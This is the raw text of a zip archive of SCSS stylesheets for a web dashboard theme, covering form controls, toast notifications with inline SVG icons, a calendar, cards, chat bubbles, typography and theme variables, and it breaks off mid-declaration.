.form-check-label { margin-inline-start: 0.5rem; } } .theme-dark { .form-check-input:not(:checked), .form-control:not([type='search']), .form-file-text, .form-select, .form-selectgroup-check { @apply bg-input-background border-input-border; } .select2-container { .select2-search--inline { .select2-search__field { color: inherit; } } } .form-switch { .form-check-input { &:checked { background-color: hsl(var(--primary)); } } } .form-selectgroup-input:checked+.form-selectgroup-label { background: hsl(var(--primary)); } } .form-input-stepper { @apply lqd-input-stepper appearance-none text-center px-2; } .lqd-input-stepper::-webkit-outer-spin-button, .lqd-input-stepper::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } /* Firefox */ .lqd-input-stepper[type=number] { -moz-appearance: textfield; } .lqd-input-color-wrap { --cp-size: theme('spacing.5'); --cp-border-color: theme('colors.input.border'); &.color-picker { @apply border-none p-0 rounded-full; border-width: 1px !important; } .cp_button { border-radius: inherit; } .cp_caret { @apply opacity-0; } } html[dir='rtl'] { select { background-position: left 0.5rem center; } } @media (min-width: 992px) { .image-input-for-fillanexample { padding-right: 128px; } } @media (max-width: 565px) { // to prevent ios zoom on focus button[type='submit'], .form-file-text, .form-selectgroup-check, .form-control, .form-input, .form-select { font-size: 16px !important; } } PK˜W]‘WÇ**(default/scss/components/_split-text.scssnu„[µü¤.lqd-split-unit { background: inherit; } PK˜W])default/scss/components/_filter-list.scssnu„[µü¤PK˜W]®L+AŠŠ$default/scss/components/_toastr.scssnu„[µü¤#toast-container { top: auto; bottom: 45px; left: 50%; right: auto; transform: translateX(-50%); > div { width: auto; opacity: 1; box-shadow: 0 5px 25px rgb(0 0 0 / 5%) !important; padding: 12px 25px 12px 45px; background-size: 22px; font-size: 13px; font-weight: 500; backdrop-filter: blur(10px) saturate(120%); border-radius: 6px; } > .toast-success { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIGhlaWdodD0iNDgiIHZpZXdCb3g9IjAgOTYgOTYwIDk2MCIgd2lkdGg9IjQ4IiBmaWxsPSIjZmZmIj48cGF0aCBkPSJtNDIxIDc1OCAyODMtMjgzLTQ2LTQ1LTIzNyAyMzctMTIwLTEyMC00NSA0NSAxNjUgMTY2Wm01OSAyMThxLTgyIDAtMTU1LTMxLjV0LTEyNy41LTg2UTE0MyA4MDQgMTExLjUgNzMxVDgwIDU3NnEwLTgzIDMxLjUtMTU2dDg2LTEyN1EyNTIgMjM5IDMyNSAyMDcuNVQ0ODAgMTc2cTgzIDAgMTU2IDMxLjVUNzYzIDI5M3E1NCA1NCA4NS41IDEyN1Q4ODAgNTc2cTAgODItMzEuNSAxNTVUNzYzIDg1OC41cS01NCA1NC41LTEyNyA4NlQ0ODAgOTc2Wm0wLTYwcTE0MiAwIDI0MS05OS41VDgyMCA1NzZxMC0xNDItOTktMjQxdC0yNDEtOTlxLTE0MSAwLTI0MC41IDk5VDE0MCA1NzZxMCAxNDEgOTkuNSAyNDAuNVQ0ODAgOTE2Wm0wLTM0MFoiLz48L3N2Zz4=) !important; } > .toast-error { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIGhlaWdodD0iNDgiIHZpZXdCb3g9IjAgOTYgOTYwIDk2MCIgd2lkdGg9IjQ4IiBmaWxsPSIjZmZmIj48cGF0aCBkPSJNNDc5Ljk4MiA3NzZxMTQuMDE4IDAgMjMuNTE4LTkuNDgyIDkuNS05LjQ4MyA5LjUtMjMuNSAwLTE0LjAxOC05LjQ4Mi0yMy41MTgtOS40ODMtOS41LTIzLjUtOS41LTE0LjAxOCAwLTIzLjUxOCA5LjQ4Mi05LjUgOS40ODMtOS41IDIzLjUgMCAxNC4wMTggOS40ODIgMjMuNTE4IDkuNDgzIDkuNSAyMy41IDkuNVpNNDUzIDYyM2g2MFYzNzBoLTYwdjI1M1ptMjcuMjY2IDM1M3EtODIuNzM0IDAtMTU1LjUtMzEuNXQtMTI3LjI2Ni04NnEtNTQuNS01NC41LTg2LTEyNy4zNDFRODAgNjU4LjMxOSA4MCA1NzUuNXEwLTgyLjgxOSAzMS41LTE1NS42NTlRMTQzIDM0NyAxOTcuNSAyOTN0MTI3LjM0MS04NS41UTM5Ny42ODEgMTc2IDQ4MC41IDE3NnE4Mi44MTkgMCAxNTUuNjU5IDMxLjVRNzA5IDIzOSA3NjMgMjkzdDg1LjUgMTI3UTg4MCA0OTMgODgwIDU3NS43MzRxMCA4Mi43MzQtMzEuNSAxNTUuNVQ3NjMgODU4LjMxNnEtNTQgNTQuMzE2LTEyNyA4NlE1NjMgOTc2IDQ4MC4yNjYgOTc2Wm0uMjM0LTYwUTYyMiA5MTYgNzIxIDgxNi41dDk5LTI0MVE4MjAgNDM0IDcyMS4xODggMzM1IDYyMi4zNzUgMjM2IDQ4MCAyMzZxLTE0MSAwLTI0MC41IDk4LjgxMlExNDAgNDMzLjYyNSAxNDAgNTc2cTAgMTQxIDk5LjUgMjQwLjV0MjQxIDk5LjVabS0uNS0zNDBaIi8+PC9zdmc+) !important; } > .toast-info { background-image: url(data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiNmZmYiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTMgMTJhOSA5IDAgMSAwIDE4IDBhOSA5IDAgMCAwIC0xOCAwIiAvPgogIDxwYXRoIGQ9Ik0xMiA5aC4wMSIgLz4KICA8cGF0aCBkPSJNMTEgMTJoMXY0aDEiIC8+Cjwvc3ZnPg==) !important; } > .toast-warning { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgc3Ryb2tlLXdpZHRoPSIxLjUiPiA8cGF0aCBkPSJNMTIgOXY0Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMC4zNjMgMy41OTFsLTguMTA2IDEzLjUzNGExLjkxNCAxLjkxNCAwIDAgMCAxLjYzNiAyLjg3MWgxNi4yMTRhMS45MTQgMS45MTQgMCAwIDAgMS42MzYgLTIuODdsLTguMTA2IC0xMy41MzZhMS45MTQgMS45MTQgMCAwIDAgLTMuMjc0IDB6Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMiAxNmguMDEiPjwvcGF0aD4gPC9zdmc+IA==) !important; } } .toast-success { background-color: rgb(6 80 6 / 80%); } .toast-error { background-color: rgb(91 17 17 / 80%); } .toast-info { background-color: rgb(8 130 171 / 80%); } .toast-warning { background-color: rgb(243 187 50 / 80%); color: #332606 !important; } .theme-dark { .toast-success { background-color: rgb(13 51 13 / 80%); } .toast-error { background-color: rgb(61 7 7 / 80%); } .toast-info { background-color: rgb(7 76 99 / 80%); } .toast-warning { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjZWNlOWRmIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgc3Ryb2tlLXdpZHRoPSIxLjUiPiA8cGF0aCBkPSJNMTIgOXY0Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMC4zNjMgMy41OTFsLTguMTA2IDEzLjUzNGExLjkxNCAxLjkxNCAwIDAgMCAxLjYzNiAyLjg3MWgxNi4yMTRhMS45MTQgMS45MTQgMCAwIDAgMS42MzYgLTIuODdsLTguMTA2IC0xMy41MzZhMS45MTQgMS45MTQgMCAwIDAgLTMuMjc0IDB6Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMiAxNmguMDEiPjwvcGF0aD4gPC9zdmc+IA==) !important; background-color: rgb(220 163 23 / 80%); color: #ece9df !important; } } PK˜W] ìÒÒ+default/scss/components/_header-search.scssnu„[µü¤@keyframes search-border-play { 0% { transform: rotate(0); } 10% { opacity: 1; } 90% { opacity: 1; } 100% { transform: rotate(360deg); opacity: 0; } } .header-search-border-play-inner { --color-1: hsl(var(--gradient-via)); --color-2: hsl(var(--gradient-from)); background: conic-gradient(from 0deg, transparent 0%, var(--color-1) 20%, var(--color-2) 30%, transparent 40%); animation: search-border-play 4.5s linear 1; } .header-search { --input-rounded-multiplier: 2; } [data-theme=default] { @media (min-width: 1024px) { .lqd-header { .header-search { width: 435px; } } } @media (max-width: 1335px) { .lqd-header { .header-search { width: 300px; } } } } PK˜W]\[´êee$default/scss/components/_button.scssnu„[µü¤.btn { background-color: var(--tblr-btn-bg); white-space: normal; --tblr-btn-border-radius: 5em; }PK˜W]WâÁÔ*default/scss/components/_progress-bar.scssnu„[µü¤@keyframes lqd-progress-bar-indeterminate { from { transform: translateX(-100%); } to { transform: translateX(100%) scaleX(0); } } .lqd-progress-bar-indeterminate { animation: lqd-progress-bar-indeterminate 1.75s cubic-bezier(0.31, 0.91, 0.64, 0.98) infinite; }PK˜W]á=£R‘‘(default/scss/components/_generators.scssnu„[µü¤.lqd-image-generator-stablediffusion-form, .lqd-image-generator-inputs-wrap { button[type=submit] { svg { @apply rtl:rotate-180; } } }PK˜W]hàë�°°*default/scss/components/_fullcalendar.scssnu„[µü¤:root { --fc-border-color: hsl(var(--border)); --fc-button-bg-color: hsl(var(--primary)); --fc-button-text-color: hsl(var(--primary-foreground)); --fc-button-border-color: hsl(var(--primary)); --fc-button-hover-bg-color: hsl(var(--primary) / 80%); --fc-button-hover-text-color: hsl(var(--primary-foreground)); --fc-today-bg-color: transparent; } .fc { .fc-view-harness { @apply max-sm:min-h-[75vh]; } .fc-header-toolbar { @apply gap-y-4 max-md:flex-wrap; .fc-toolbar-chunk { @apply basis-1/3 flex items-center max-md:w-full max-md:basis-full; &:nth-child(1) { .fc-button-group { @apply gap-4; } .fc-button { @apply px-2 py-0.5 text-2xs font-medium border-none; &.fc-button-active { @apply bg-heading-foreground/5 text-heading-foreground; } } } &:nth-child(2) { @apply md:justify-center max-md:-order-1; } &:nth-child(3) { @apply justify-between md:justify-end; } } .fc-button-group { @apply gap-1.5; } .fc-button { @apply border border-border py-2 px-4 bg-transparent text-heading-foreground text-xs font-medium transition-all capitalize hover:bg-primary hover:text-primary-foreground hover:border-primary disabled:hover:bg-transparent disabled:hover:text-heading-foreground disabled:hover:border-border; border-radius: 100px !important; } .fc-prev-button, .fc-next-button { @apply inline-grid size-[38px] place-items-center p-0; .fc-icon { @apply inline-flex text-base/none; } } .fc-today-button { @apply shadow-xs disabled:shadow-none; } } .fc-toolbar-title { @apply text-lg font-semibold; } .fc-list { @apply border-border rounded-xl; } .fc-list-sticky { .fc-list-day { >* { @apply bg-background rounded-t-xl text-heading-foreground/50; } } } .fc-list-day-cushion { @apply bg-transparent p-4; } .fc-scrollgrid { @apply rounded-xl border-b; } .fc-col-header-cell-cushion { @apply text-heading-foreground/50 py-4; } .fc-daygrid-day { &:nth-last-child(-n+3) { .lqd-event-card { @apply start-auto end-full ms-0; } } } .fc-daygrid-day-number { @apply inline-grid place-items-center text-base size-[30px] p-0 m-1 rounded-full md:m-3; } .fc-day-today { .fc-daygrid-day-number { @apply bg-primary text-primary-foreground font-semibold; } } .fc-event { @apply rounded-[10px] bg-heading-foreground/10 text-heading-foreground text-2xs font-medium p-1.5 border-none z-auto hover:z-10 sm:p-2.5 max-sm:justify-center; .fc-event-main { @apply text-current static; } &:hover { .lqd-event-card { @apply visible translate-y-0 opacity-100; } } &.lqd-event-instagram { background-color: rgb(216 28 100 / 11%); } &.lqd-event-facebook { background-color: rgb(19 208 218 / 14%); } &.lqd-event-linkedin { background-color: rgb(10 120 230 / 12%); } &.lqd-event-tiktok { background-color: rgb(0 0 0 / 5%); } } .fc-timeGridWeek-view, .fc-timeGridDay-view { .fc-scrollgrid-section { // trying to target the all-day section &:first-child { .fc-scroller-harness { &, >.fc-scroller { overflow: visible !important; } } } } } .fc-dayGridMonth-view { .fc-daygrid-body { tr { &:nth-last-child(-n+3) { .lqd-event-card { @apply top-auto bottom-0; } } } } } .fc-timeGridDay-view, .fc-listWeek-view { .fc-event { @apply relative; div.lqd-event-card { @apply top-full bottom-auto start-3 end-auto; } } } .fc-dayGridMonth-view, .fc-timeGridWeek-view { .lqd-event-info { @apply max-sm:hidden; } } } .theme-dark { // DO NOT REMOVE THIS VAR --fc-border-color: hsl(var(--border)); } PK˜W]þLÃÕÂÂ"default/scss/components/_card.scssnu„[µü¤.card-footer { --tblr-card-cap-padding-y: 1.375rem; background: none; } .subheader { font-size: 0.8125rem; text-transform: none; letter-spacing: normal; font-weight: var(--tblr-font-weight-medium); } .card { --tblr-card-cap-padding-y: 0.75rem; --tblr-card-cap-padding-x: 1.5625rem; --tblr-card-bg: transparent; --tblr-card-border-radius: 12px; } .row-cards { --tblr-gutter-x: 1.5625rem; --tblr-gutter-y: 2.5rem; } .lqd-card { box-shadow: var(--card-shadow); } .lqd-card-shadow, .lqd-card-outline-shadow { --card-shadow: var(--shadow); } .lqd-card-variant-none { box-shadow: none; background-color: transparent; border: none; } .theme-dark { .card { background: transparent; } }PK˜W]Æ!žËË%default/scss/components/_curtain.scssnu„[µü¤.lqd-curtain-item-title-icon { svg { width: 1em; height: auto; } } .lqd-curtain-item, .lqd-curtain-item-title, .lqd-curtain-item-content, .lqd-curtain-item-content-inner { transition: all 0.65s cubic-bezier(0.23, 1, 0.320, 1); } .lqd-curtain-item-content { transition-property: flex-grow, width, background, color, border, box-shadow; } .lqd-curtain { --items-gap: 30px; --items-count: 3; --items-min-height: 530px; gap: var(--items-gap); } @media (min-width: 992px) { .lqd-curtain-item-content-width-inner { width: var(--active-width, 100%); } .lqd-curtain-item-content { width: 0; flex-grow: 0; overflow: hidden; margin-inline-end: auto; } .lqd-curtain-item { min-height: var(--items-min-height); } .lqd-curtain-item-title-empty { .lqd-curtain-item-title-icon { transform: rotate(-180deg); } } .lqd-curtain-item-active { flex-grow: 1; .lqd-curtain-item-title { width: 0; padding-left: 0 !important; padding-right: 0 !important; } .lqd-curtain-item-content { flex-grow: 1; } } } @media (max-width: 991px) { .lqd-curtain-item-inactive { .lqd-curtain-item-content { display: none; } } .lqd-curtain-item-content { min-height: 350px; } }PK˜W]ë½Ö4{{&default/scss/components/_skeleton.scssnu„[µü¤@keyframes lqd-loading-skeleton { 100% { transform: translateX(100%); } } .lqd-loading-skeleton { &.lqd-is-loading { [data-lqd-skeleton-el] { min-height: 1em; position: relative; overflow: hidden; background-color: hsl(var(--foreground) / 10%); &:before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; transform: translateX(-100%); background-image: linear-gradient(90deg, transparent 0, rgb(255 255 255 / 20%) 20%, rgb(255 255 255 / 50%) 60%, transparent); animation: lqd-loading-skeleton 1.5s infinite; } } } }PK˜W]Þj::&default/scss/components/_chats-v2.scssnu„[µü¤.lqd-chat-v2 { --background: 180 5% 96%; --border: 180 3% 92%; --surface-background: 0 0% 100%; --surface-foreground: 0 0% 0%; --card-border: var(--border); --button-border: var(--border); --sidebar-w: 73px; --header-h: 80px; --chats-container-width: 820px; &, .lqd-page-wrapper, .lqd-page-content-container { padding: 0 !important; } .lqd-page, .lqd-page-wrapper, .lqd-page-content-wrap { border-radius: 0 !important; } .conversation-area-wrap, .chats-sidebar-wrap .chats-list-container { @apply bg-transparent rounded-none shadow-none; } .lqd-announcement, .lqd-navbar-expander, .lqd-navbar, .lqd-header { @apply lg:hidden; } .header-user-dropdown { .lqd-dropdown-dropdown { @apply lg:origin-top-right lg:scale-95; } .lqd-dropdown-dropdown-content { >div, >hr { @apply lg:opacity-0 lg:transition-all lg:translate-y-2; } } &.lqd-is-active { .lqd-dropdown-dropdown { @apply lg:scale-100; } .lqd-dropdown-dropdown-content { >div, >hr { @apply lg:opacity-100 lg:translate-y-0; &:nth-child(2) { @apply lg:delay-[25ms]; } &:nth-child(3) { @apply lg:delay-[50ms]; } &:nth-child(4) { @apply lg:delay-[75ms]; } &:nth-child(5) { @apply lg:delay-[100ms]; } &:nth-child(6) { @apply lg:delay-[125ms]; } } } } } .lqd-chat-head { @apply lg:hidden; } .conversation-area { @apply lg:pt-20 } .chats-sidebar-wrap { @apply lg:-translate-x-full lg:transition-all; .chats-new { @apply lg:hidden md:max-lg:p-5; } .chats-search, .chats-list, .chats-sidebar-links { @apply lg:transition-all lg:-translate-x-3 lg:opacity-0 lg:duration-300; } .chats-search { @apply lg:border-none lg:p-0 lg:h-auto lg:mb-4 md:max-lg:py-5; .lqd-input { @apply lg:rounded-xl lg:bg-transparent lg:border lg:border-heading-foreground/5 lg:placeholder:text-heading-foreground/70 lg:ps-4; } svg { @apply lg:start-auto lg:end-4 lg:size-4; } } .chats-list-container { @apply lg:overflow-visible lg:grow lg:h-auto lg:border-none lg:bg-transparent lg:px-7 lg:py-6 lg:row-span-full; } .chat-list-item { @apply lg:before:content-none lg:border-b-0; &.active { .chat-list-item-trigger { @apply lg:bg-heading-foreground/5 lg:ps-3; } .chat-item-title { @apply lg:font-semibold lg:text-heading-foreground; } } &.pin-mode { .lqd-chat-item-trigger-icons { @apply lg:inline; } } } .chat-item-date, .lqd-chat-item-trigger-icons { @apply lg:hidden; } .lqd-chat-item-trigger-icons { @apply lg:shrink-0 lg:order-2; svg { @apply lg:shrink-0 lg:hidden; } .lqd-chat-item-trigger-icon-pin { @apply lg:inline lg:size-5 lg:rotate-[45deg]; } } .chat-list-item-trigger { @apply lg:py-3 lg:pe-3 lg:ps-0 lg:rounded-xl lg:transition-all; } .chat-item-title { @apply lg:text-2xs lg:font-normal lg:text-heading-foreground/70; } &.active { @apply lg:translate-x-0; .chats-search, .chats-list, .chats-sidebar-links { @apply lg:translate-x-0 lg:opacity-100; } .chats-search { @apply lg:delay-100; } .chats-list { @apply lg:delay-150; } .chats-sidebar-links { @apply lg:delay-200; } } } .lqd-chat-category-dropdown { .lqd-chat-category-name { @apply lg:bg-transparent lg:gap-2 lg:p-0 lg:text-heading-foreground; } .lqd-dropdown-trigger { @apply lg:gap-2 lg:z-2 lg:whitespace-nowrap; } .lqd-chat-category-name { >svg { @apply lg:size-[18px] lg:rounded-full lg:border-current lg:border-[1.5px]; } } .lqd-chat-category-role { @apply lg:hidden; } .lqd-chat-category-avatar { @apply lg:hidden lg:size-5 lg:opacity-0; * { @apply lg:hidden; } } .lqd-dropdown-dropdown-search { @apply lg:rounded-lg; } .lqd-dropdown-dropdown { @apply end-0 start-0 rounded-none max-lg:h-[calc(var(--chats-container-height))] max-md:max-h-none lg:pointer-events-auto lg:bg-background lg:visible lg:fixed lg:start-0 lg:top-[var(--ad-h,0px)] lg:z-10 lg:h-screen lg:max-h-none lg:w-[405px] lg:-translate-x-full lg:translate-y-0 lg:opacity-100 lg:duration-200; } .lqd-dropdown-dropdown-content { @apply rounded-none bg-background shadow-none lg:ps-[--sidebar-w] lg:h-full; >div { >div { @apply lg:opacity-0 lg:transition-all lg:-translate-x-2 lg:duration-300; } } } &.lqd-is-active { .lqd-dropdown-dropdown { @apply lg:translate-x-0; } .lqd-dropdown-dropdown-content { >div { >div { @apply lg:opacity-100 lg:translate-x-0 lg:delay-200; &:first-child { @apply lg:delay-100; } } } } } } .chats-container { @apply lg:px-0 lg:w-[--chats-container-width] lg:mx-auto lg:overflow-visible; >.lqd-chat-ai-bubble { @apply only:hidden; } } // .lqd-chat-ai-bubble, // .lqd-chat-user-bubble { // @apply lg:mb-6 // } .lqd-chat-ai-bubble, .lqd-chat-user-bubble, .lqd-chat-image-bubble { @apply relative w-full flex-col rounded-[18px] p-6 before:pointer-events-none before:absolute before:end-full before:top-0 before:z-0 before:h-full before:w-10 md:px-6 md:py-5 lg:mb-6; .chat-content-container { @apply text-heading-foreground; } &:hover { @apply before:pointer-events-auto; .lqd-chat-actions-wrap { @apply visible opacity-100; } } } .chat-content-container { @apply max-w-none grow before:hidden static min-h-0; background: transparent !important; } .chat-content { @apply p-0; img { @apply rounded-lg shadow-2xl shadow-black/5 last:mb-0 first:mt-0 only-of-type:my-0; } } .lqd-chat-ai-bubble { @apply border gap-3 transition-colors; .lqd-chat-avatar { @apply size-6 mt-0; } &.animating-words-done { .multi-model-response-accept { @apply inline-flex; } } } .lqd-chat-user-bubble, .lqd-chat-image-bubble { @apply bg-[#EDEDEF] dark:bg-heading-foreground/10 transition-colors lg:max-w-[80%] lg:w-auto lg:justify-self-end; .lqd-chat-avatar { @apply hidden; } .lqd-chat-sender { @apply hidden gap-0; } } .lqd-chat-sender-name { @apply not-sr-only text-xs font-semibold text-heading-foreground; } .lqd-chat-form-inputs-container { .lqd-realtime-chat-button { @apply md:size-11 md:bg-transparent md:text-heading-foreground md:border md:border-heading-foreground/5 md:outline-none md:hover:bg-primary md:hover:border-primary md:hover:text-primary-foreground max-md:hover:bg-transparent max-md:hover:shadow-none; } } .lqd-audio-vis-wrap { @apply lg:pb-40; } .lqd-chat-actions-wrap { @apply max-lg:start-auto max-lg:-end-1 lg:z-2 lg:end-auto lg:bottom-auto lg:-start-11 lg:top-0; button { @apply lg:bg-background lg:text-heading-foreground lg:size-[34px] lg:border lg:border-solid lg:shadow-none lg:hover:bg-surface-background lg:hover:text-heading-foreground lg:hover:border-surface-background lg:hover:shadow-none; >span { @apply lg:bg-surface-background lg:text-surface-foreground lg:end-auto lg:start-full lg:me-0 lg:ms-1 lg:shadow-none lg:pointer-events-none; } } } // .multi-model-response-wrap { // .lqd-chat-ai-bubble { // @apply mb-0; // } // } #lqd-ext-chatbot-wrap { @apply hidden; } &.theme-dark { --background: 0 0% 8%; --border: 180 3% 15%; --surface-background: 0 0% 22%; --surface-foreground: 0 0% 100%; --card-border: var(--border); --button-border: var(--border); } @media(min-width: 1300px) { .multi-model-response-wrap { width: 1100px; margin-inline-start: calc((1100px - var(--chats-container-width)) / 2 * -1); } } }PK˜W]H¤%¦  +default/scss/components/_numer-counter.scssnu„[µü¤.lqd-number-counter-numbers-col { mask-image: linear-gradient(to bottom, transparent var(--mask-h), black calc(var(--mask-h) + 0.1lh), black calc(100% - var(--mask-h)), transparent calc(100% - var(--mask-h) + 0.1lh)); } .lqd-number-counter { --mask-h: 0.25lh; } PK˜W]L£ÿ<<#default/scss/components/_chats.scssnu„[µü¤@property --animating-word-y { syntax: ""; inherits: true; initial-value: 0px; } .chat-content { * { color: currentColor; } code:not([class*=language-]) { @apply bg-background rounded px-1 py-0.5 text-primary font-semibold text-2xs font-mono; &:before, &:after { content: '`'; } } blockquote { > :first-child { margin-top: 0; } > :last-child { margin-bottom: 0; } } li { >p:only-child { @apply my-0; } } .katex { @apply mx-1 first:ms-0; } } .animated-el { &.done-signal { display: none; } a & { text-decoration: inherit; } } .lqd-chat-ai-bubble { &.animating-words { transition: --animating-word-y 0.15s cubic-bezier(0.4, 0, 0.2, 1); .chat-content-container { &:before { mask-image: linear-gradient(to bottom, black var(--animating-word-y), transparent calc(var(--animating-word-y) + 7lh + 2rem)); } } li, hr, tr, .animated-el { opacity: 0; } &.streaming-on { .chat-content-container { &:before { mask-image: linear-gradient(to bottom, black var(--animating-word-y), transparent calc(var(--animating-word-y) + 2lh + 2rem)); } } } } .lqd-typing { min-height: inherit; } &:not(.loading) { .lqd-typing { display: none; } } &.loading { .chat-content { display: none; } } } .multi-model-response-wrap { .chat-content-container { @apply w-full border rounded-md py-5 px-7 transition-colors; } .multi-model-response-head { display: flex; } .animating-words-done { .multi-model-response-foot { display: flex; } } } PK˜W]sÑCÌÌ$default/scss/panel/_page-header.scssnu„[µü¤.page-pretitle { margin-bottom: 1.15em; font-size: 0.8125rem; text-transform: none; letter-spacing: normal; font-weight: var(--tblr-font-weight-normal); } .page-title { --tblr-font-weight-bold: 700; margin-bottom: 0.36em; font-size: 2.357em; color: var(--lqd-heading-color); } .page-wrapper { .page-header { --tblr-content-padding: 1.5rem; padding-bottom: 1.25rem; border-bottom: var(--tblr-border-width) solid var(--tblr-border-color); } }PK˜W]kê9°BBdefault/scss/panel/_panel.scssnu„[µü¤@import './page-header'; @import './auth'; @import './generator'; PK˜W]default/scss/panel/_auth.scssnu„[µü¤PK˜W]qÍ'@@"default/scss/panel/_generator.scssnu„[µü¤.page-generator { .btn { --tblr-btn-padding-y: 0.725em; } }PK˜W]¹�Þ_ããdefault/scss/dashboard.scssnu„[µü¤@tailwind base; @tailwind components; @tailwind utilities; @import './base/vars'; @layer base { *, *:before, *:after { border-color: hsl(var(--border)); } :focus-visible { outline-color: theme('colors.secondary.DEFAULT'); } button, select { font: inherit; text-transform: unset; letter-spacing: inherit; } [x-cloak] { display: none !important; } } @layer utilities { .collapse { visibility: unset; } .form-select { padding: 1em 1.23em; font-size: 0.8125rem; line-height: 1.4285714286; border: var(--tblr-border-width) solid var(--tblr-border-color); border-radius: var(--tblr-border-radius); } [dir='rtl'] .form-select { background-position: left 0.5rem center; } } @import './base/base'; @import './base/typography'; @import './layout/layout'; @import './panel/panel'; @import './components/components'; @import './focus-mode/focus-mode'; @import './advanced-image-editor/advanced-image-editor'; @import './creative-suite/creative-suite'; PK˜W]Yø ÷ÖÖ"default/scss/base/_typography.scssnu„[µü¤h1, h2, h3, h4, h5, h6 { margin-bottom: 0.5rem; font-family: var(--headings-font-family); line-height: var(--headings-line-height); font-weight: var(--headings-font-weight); font-style: var(--headings-font-style); text-transform: var(--headings-text-transform); letter-spacing: var(--headings-letter-spacing); color: var(--headings-color); } @for $i from 1 through 6 { h#{$i} { font-family: var(--h#{$i}-font-family, var(--headings-font-family)); font-size: var(--h#{$i}-font-size, var(--headings-font-size)); line-height: var(--h#{$i}-line-height, var(--headings-line-height)); font-weight: var(--h#{$i}-font-weight, var(--headings-font-weight)); font-style: var(--h#{$i}-font-style, var(--headings-font-style)); text-transform: var(--h#{$i}-text-transform, var(--headings-text-transform)); letter-spacing: var(--h#{$i}-letter-spacing, var(--headings-letter-spacing)); color: var(--h#{$i}-color, var(--headings-color)); } } p { margin-bottom: 0.5rem; }PK˜W]ËÕT��default/scss/base/_base.scssnu„[µü¤*::-webkit-scrollbar { width: var(--scrollbar-width); } *::-webkit-scrollbar-track { background: hsl(var(--scrollbar-track)); } *::-webkit-scrollbar-thumb { background: hsl(var(--scrollbar-thumb)); } *::-webkit-scrollbar-thumb:hover { background: hsl(var(--scrollbar-thumb-hover)); } * { scrollbar-color: hsl(var(--scrollbar-thumb)) hsl(var(--scrollbar-track)); scrollbar-width: var(--scrollbar-width); } body { overflow-y: auto; } hr { @apply transition-colors my-2.5 mx-0 opacity-100; border-color: hsl(var(--border)); } .container-fluid { @apply mx-auto w-full; } body:has(.lqd-bottom-menu) { .lqd-page { @apply max-lg:pb-16; } } PK˜W]x„•˜……default/scss/base/_vars.scssnu„[µü¤@layer base { // BC :root { --tblr-primary: #330582; --tblr-primary-rgb: 51, 5, 130; --tblr-green: #1ca685; --tblr-green-rgb: 28, 166, 133; --tblr-red: #a13d55; --tblr-red-rgb: 161, 61, 85; --tblr-body-bg: #fff; --tblr-body-bg-rgb: 255, 255, 255; --tblr-body-color: #474D59; --tblr-card-border-color: #f1f3f4; --tblr-border-color: rgb(0 0 0 / 5%); --tblr-border-radius: 13px; --tblr-font-size-h1: 2.0625rem; --tblr-font-size-h2: 1.25rem; --tblr-font-size-h3: 1rem; --tblr-font-size-h4: 0.875rem; --tblr-font-size-h5: 0.75rem; --tblr-font-size-h6: 0.625rem; --tblr-line-height-h1: 2rem; --tblr-line-height-h2: 1.75rem; --tblr-line-height-h3: 1.5rem; --tblr-line-height-h4: 1.25rem; --tblr-line-height-h5: 1rem; --tblr-line-height-h6: 1rem; --tblr-success: var(--tblr-green); --tblr-success-rgb: 28, 166, 133; --tblr-danger: var(--tblr-red); --tblr-danger-rgb: 161, 61, 85; --tblr-muted: #667085; --tblr-bg-forms: var(--input-background); --tblr-nav-link-font-size: 0.875rem; --tblr-dark-mode-border-color: rgb(255 255 255 / 4%); --lqd-pink: #f3e2fd; --lqd-gray: #2e333b; --lqd-header-search-bg: #f2f2f4; --lqd-header-search-color: rgba(37, 44, 50, 0.5); --lqd-header-search-color-focus: #000; --lqd-heading-color: #000; --lqd-heading-color-rgb: 0, 0, 0; --lqd-header-height: 4.8125rem; --lqd-vertical-nav-link-color: #565B67; --lqd-shadow-color: rgb(29 39 59 / 7%); --lqd-shadow-xs: 0 2px 1px var(--lqd-shadow-color); --lqd-faded-out: rgb(0 0 0 / 20%); --lqd-faded-out-more: rgb(0 0 0 / 7%); } .theme-dark { --tblr-primary: #9a34cd; --tblr-primary-rgb: 154, 52, 205; --tblr-body-bg: #1a1d23; --tblr-body-bg-rgb: 26, 29, 35; --tblr-bg-surface: transparent; --tblr-navbar-bg: transparent; --lqd-header-search-bg: #232528; --lqd-header-search-color: #808797; --lqd-header-search-color-focus: #fff; --lqd-heading-color: #fff; --lqd-heading-color-rgb: 255, 255, 255; --lqd-faded-out: rgb(255 255 255 / 20%); --lqd-faded-out-more: rgb(255 255 255 / 7%); --tblr-bg-forms: var(--input-background); --tblr-bg-surface: #1f2228; background-color: 